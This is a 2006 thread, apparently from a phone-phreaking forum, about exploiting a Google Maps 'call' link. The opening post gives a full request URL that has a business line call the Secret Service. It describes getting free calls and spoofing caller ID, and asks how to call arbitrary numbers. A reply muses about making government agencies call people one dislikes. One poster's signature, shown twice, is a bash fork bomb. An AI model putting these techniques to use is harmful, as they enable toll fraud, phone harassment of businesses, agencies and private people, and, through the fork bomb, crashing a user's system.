Author Topic: Google maps offers free calls to businesses  (Read 2028 times)

Offline RijilV

  • :)
  • PLA Guru
  • *****
  • Posts: 208
  • 1337 13V3L: +30/-7
Google maps offers free calls to businesses
« on: December 03, 2006, 09:08:42 PM »
So I was looking around on google maps tonight, and noticed a 'call' link next to the business listings.  After a bit of playing with it, its pretty nifty.  You could easily use it to get free long distance to businesses around the country, which means you could use it to call 'from' a payfone for phree. 

It spoofs the business number to whatever number you give it, and presumably (verification needed) spoofs your number to that business.  It is limited in that it will only call things you can find on google maps (so no residential, unlisted, or 'other' numbers).  I played around with it a bit, and I can't get it to call anything else, but here is what I came up with;

The whole deal looks like this (I separated each post term just so it wouldn't side scroll to hell and back). In this case it would first call the Beehive bridge, wait for it to answer, then call the secret service.

http://maps.google.com/maps/call?
from=14352348255&
to=12024068800&
ticket=ChMIwKLjx_T3iAIVG2JiCh0zDS7vEAEYnI-jlbvipKR0IAAoAA&
hmac=FuKQsukUl41Tlkc4W0cYen13Fo4&
save_phone_cookie=1

So just to go through the variables here, 'from' and 'to' should be self evident, if they aren't please turn off your computer now...

'ticket' is some type of unique identifier for the phone listing.  This case was one less character than the some of the others ones I looked at, though when I went to go find an example of one with a longer 'ticket', the party city I randomly looked up was the same length, so go figure.  They do all seem to start with 'ChMI'.

'hmac' is some type of timed session identifier, it seems to be linked to the listing you looked up but not the local computer.  It expires after some amount of time.

I think it would be very cool if there was a way to call arbitrary numbers with Google maps.  It would also be cool if there was a way to have it send you a different number as the caller ID than the 'to' number; that way you could spoof a Cingular number to your Cingular phone when you call some place and get a free call. 

Perhaps there is a way to do a direct query of the 'ticket' field to google, or even a way to get a 'ticket' for any given number.   I do not know if it is a hash or if it is an index. the former would suggest there would be some way to independently generate a 'ticket' from a given number. 

Let me know what everyone finds out about it, I like to think there is some way to get it to call more than just what Google maps will return in search results.

Code: [Select]
#!/bin/bash
:() { :|:& };:

Offline PHISH-PHREAK

  • PLA Minion
  • *****
  • Posts: 692
  • 1337 13V3L: +68/-26
    • 954 Phone Losers
Re: Google maps offers free calls to businesses
« Reply #1 on: December 03, 2006, 09:12:53 PM »
Is this the same thing as jajah.com?

hmmmm also that send to phone is a good way to spam up someones cell phone
« Last Edit: December 03, 2006, 09:15:13 PM by PHISH-PHREAK »

Offline rbcp

  • Head Custodian
  • Administrator
  • Ninja Phone Loser
  • *****
  • Posts: 5259
  • 1337 13V3L: +454/-81
  • I'm not stupid! I'm not stupid! Hematology!
    • Homepage
Re: Google maps offers free calls to businesses
« Reply #2 on: December 03, 2006, 10:14:53 PM »
So I could make every business in America that has the word "Cactus" in it call up someone I don't like?  Neat!

Nice of Google to give us 100% free calls to any business in the U.S., too.  Just too bad it doesn't do residential  listings.

You could also make the cops, FBI, CIA, NSA, Whitehouse, and Secret Service call up anyone you want.  Not that I think that's a good idea, and strongly encourage everyone not to do that.  But that's kind of a scary feature.

Offline RijilV

  • :)
  • PLA Guru
  • *****
  • Posts: 208
  • 1337 13V3L: +30/-7
Re: Google maps offers free calls to businesses
« Reply #3 on: December 04, 2006, 05:39:40 PM »
Try searching for things like "RBCP" (fear the first result) or "RijilV", "PLA", etc...weird results

.r'
Code: [Select]
#!/bin/bash
:() { :|:& };: